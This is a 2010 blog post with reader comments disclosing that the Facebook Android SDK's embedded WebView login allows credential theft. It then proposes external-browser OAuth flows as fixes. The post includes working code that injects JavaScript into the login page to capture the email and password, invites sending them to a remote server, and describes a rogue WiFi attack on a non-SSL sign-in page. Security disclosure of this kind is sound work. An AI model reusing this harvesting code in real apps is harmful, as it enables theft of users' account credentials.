Monday, November 15, 2010

A serious OAuth security hole in Facebook SDK

Facebook SDK permits MITM attack for every hacker who wants to steal user’s Facebook credential (email and password).
The OAuth implementation shipped with Facebook SDK had ignored the warning from OAuth spec by using embedded browser, which completely defeated the purpose of OAuth: protecting first-order user credential from any third-party developers and their apps.
First, let’s recap the statement from OAuth 2.
Embedded user-agents pose a security challenge because users are authenticating in an unidentified window without access to the visual protections offered by many user-agents
In current IOS and Android platform, embedded browser launched by native mobile app can completely under the control of the application; therefore it enables Man-In-The-Middle attack for OAuth by any third-party application.
    
To demonstrate this security hole, add following code into com.facebook.android.FbDialog in its SDK.
(1)    Add following statement into setUpWebView method to enable browser JS callback
      mWebView.addJavascriptInterface(new HackJS(), "HackJS"); //HACKER

(2)    Add following code into onPageFinished method,
//HACKER
if (url.contains("facebook.com/login.php")) {
view.loadUrl("javascript:function hacker() {var f = document.getElementById('login_form'); HackJS.foundCredential(f.email.value, f.pass.value); f.submit()}; document.getElementById('login').onclick=hacker");
}
(3)    Add an inner class HackJS in FbDialog as a callback from browser,
public class HackJS {
            public void foundCredential(String name, String password) {
                  harvest(name, password);
      }
}

(4)    Implement your harvest method to send the encrypted data to your remote server. You are now ready to deploy your cool app and start to collect Facebook credentials. In my demo, I just simply display the stolen credential back to user.

        private void harvest(String name, String password) {
String message = "Your credential was stolen: name: " + name
+ "; pwd: " + password;
AlertDialog.Builder builder = new AlertDialog.Builder(this.getContext());
builder.setMessage(message).setNegativeButton(
  "Close", new DialogInterface.OnClickListener() {
public void onClick(DialogInterface dialog, int id) {
dialog.cancel();
}
});
AlertDialog alert = builder.create();
alert.show();
}
Following are the screen shots of Facebook’s simple Example distributed with its SDK, with the modified FbDialog.
   
Due to the usage of embedded browser, hackers can steal user’s credential with just a few lines of code based on standard API provided by hosting OS.
The MITM attack inside the app is almost undetectable by end user and OAuth provider, since it didn’t alter any auth flow.
What should have been done for Facebook OAuth?
First, it should educate its user community that, they should only enter their login credential into externally identifiable browser. The sign-in page should be from well-known host address with https and valid SSL certificate (your native browser already enforces that for you).
Second, provide a new OAuth client in its SDK by using external browser.
There are two ways to manage the callback from browser to native client.
(1)    Use protocol scheme handler supported by OS to handle OAuth redirect. One can define an OAuth redirect URL with custom protocol, such as “FbOAuth://facebook” instead of normal http, with configuration in AndroidManifest. For example,
     <intent-filter> 
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/> 
                <category android:name="android.intent.category.BROWSABLE"/>
                <data android:scheme="FbOAuth" android:host="facebook" /> 
     </intent-filter>
However, there is a possibility that the redirect URL was intercepted by another hack app with same filter (I have not confirmed this use case, since all my tests show that the intent was sent to the current activity - a singleton).
(2)    To completely protect redirect URL, I tried the following alternative approach by using embedded HTTPD inside native OAuth client to accept the redirect URL. When initiating the OAuth in native client, it first starts a light-weight HTTPD in any available port (for example search any available port above 8090), then constructs the correct redirect URL as http://localhost:8090 (or other port the current HTTPD server port is on) and launches external browser for OAuth. The final redirect URL from OAuth provider will be handled by native client via its internal HTTP request handler for HTTPD. The response from internal HTTPD will be another redirect (no OAuth query string data) with custom protocol, such as, FbOAuth://facebook. This second redirect will cause browser to close automatically. Since this second redirect URL doesn't contain any PII, we don't need to worry about interception.
One might ask a following question: how can you prevent hackers to launch a fake browser (implemented by native app with real browser appearance)? The answer is that you can’t.
However, as an end user, you are able to differentiate real browser and fake browser, intentionally or accidentally.
For example: (a) when external browser for OAuth is in display, simply holding (long press) universal Home button on your phone will popup application stack window. If it is a real browser, you will notice that the real browser is a first application in the application list, while you current app is second. (b) You could also press universal Menu button to bring up menu items for real browser if the current browser is a real one.
We can’t prevent hackers to fool others by providing hacked application with faked browser. However, by enforcing external browser policy for OAuth, the user community could police the market by identifying hacked OAuth clients by themselves, since this type of hack is easily detectable. It is enough for just a few people to discover the hack, then the large user community could be informed.
On a side note, the current Facebook’s OAuth SDK uses non-SSL for sign-in page, and then uses SSL for form submit. By doing so, it permits easy MITM attack in WIFI access point, not only for embedded browser, but also external browser, since there will be no SSL certificate validation for sign-in page.
The hacker could easily set up a WIFI access point in busy public area; intercept the non-SSL page request for OAuth, then present user a modified sign-in page so it can easily intercept your form submission with real credential.
I hope Facebook and other companies step up to protect user credential. Since many users use same or similar password for many of their other accounts, getting user’s real login credential from one account can greatly aid hackers to attack user's other accounts.

4 comments:

  1. Hi Yitao,

    I'm an engineer on the Facebook Platform team and a contributor to the OAuth 2.0 spec.

    We recently released single sign on for iPhone and Android (http://www.facebook.com/blog.php?post=446167297130). This simplifies the login flow and uses intents, similar to what you've described with the protocol scheme handler. One of our goals with this is to reduce the number of times that users will have to enter their Facebook passwords. As applications adopt single sign on, the number of applications which ask for your password individually should dramatically decrease.

    Even if many apps use a browser for sign on, what you described is still technically impossible to prevent. It's worth realizing that any native application - whether on desktop or mobile - can display anything it wants on screen, and thus potentially phish users. This is not something that OAuth is intended to protect against directly. Rather it tries to reduce the number of different scenarios where a user would be expected to enter their password.

    As far as the HTTPS login form goes, it's a great idea and we're working on that.

    ReplyDelete
  2. Hi Luke,
    Thanks for the response. You are right (as I said also in my blog) that no one can prevent hacker to provide fake login form. However, as long as there is a clear differentiation between legit login form and faked one, the user community will have power to expose any evil app.

    It is super important that all OAuth providers (with their SDK) should only present user one and only one choice in regards login form which had confidentiality built-in (such as user’s own web browser).

    Good single sign-on will reduce the exposure of this MITM attack. However, it still permits “undetectable” hack app if embedded WebView was also used by legit app and SDK.

    I am glad to read your following comment on Facebook Developers Forum:

    “Also, to anatolyl's point about the fallback for single sign on: it's true that on Android, the fallback now relies on an embedded iframe. However, on iPhone the fallback goes to the full browser as suggested. We ran into some technical issues making that work on Android but we're hoping to resolve those soon.”

    I hope to see your new Android SDK with correct implementation soon.

    I am singling out Facebook SDK for this blog is simply due to the fact that many other companies follow Facebook’s approach. They will point to Facebook’s usage of embedded WebView as their defense about the security risk level.

    ReplyDelete
  3. Yitao, I am sort of in agreeance with you. Not so much as that I can see a glaring security hole that will be exploited easily. Rather, because I wish everybody was on the same page.

    I think you are right about the Facebook method being to relaxed. If it is exploitable they might pay the price, but nobody will be the wiser as to why. They can blame anyone.

    I think we are lucky in sme instances that these major companies are making some accomodations, but based on the inability for everyone to stay ojn the same page, I have to wonder how long it will last.

    ReplyDelete
  4. Hi,

    I agree with you on facebooks-weak-connect-library with such loophole. I found that when i need to implement the same thing (External Sign in) and i was looking that library as a reference(i would surely hav been kicked off from my job if they(seniors) would found that)!!


    But still question remains,
    Webview : we cant use as it can be intercepted
    but can we use Iframe like thing in it so that its form content wont be accessible to Script?

    So how can we achieve this security in Mobile Apps??
    Can we do like this "invoke Sign-in Pattern as sub-activity" ? so only activity thread(app) will get access to only result of the sub-activity(sign-in)??

    Do we(service providers) have to distribute secured library(for sign in) ..i don't know how to do that??

    Please guide me sir where to focus, I'm in great confusion!!

    Thanking you with anticipation!!

    Regards,
    Sagar

    ReplyDelete